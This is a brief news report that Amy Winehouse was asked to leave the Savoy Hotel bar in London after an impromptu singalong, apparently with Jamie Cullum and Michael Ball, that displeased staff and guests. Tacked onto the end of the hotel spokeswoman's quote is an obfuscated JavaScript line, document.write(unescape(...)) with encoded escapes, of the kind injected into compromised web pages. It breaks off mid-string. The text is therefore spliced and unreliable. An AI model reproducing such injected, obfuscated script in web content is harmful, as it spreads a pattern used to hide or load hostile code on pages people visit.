Amy Winehouse was asked to leave the bar in the Savoy Hotel, after her singing upset the customers, it has been reported.
The UK star is understood to have inspired an impromptu session around the piano in the world famous London hotel on Tuesday evening.
However, her performance, which apparently also involved Jamie Cullum and Michael Ball, did not go down well with staff and other punters.
After eight songs, Winehouse, who is understood to have previously spent much of the day at the South Bank Awards, was asked to leave.
Speaking about the reports, a spokeswoman for the London hotel said: "We do not comment on guests."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;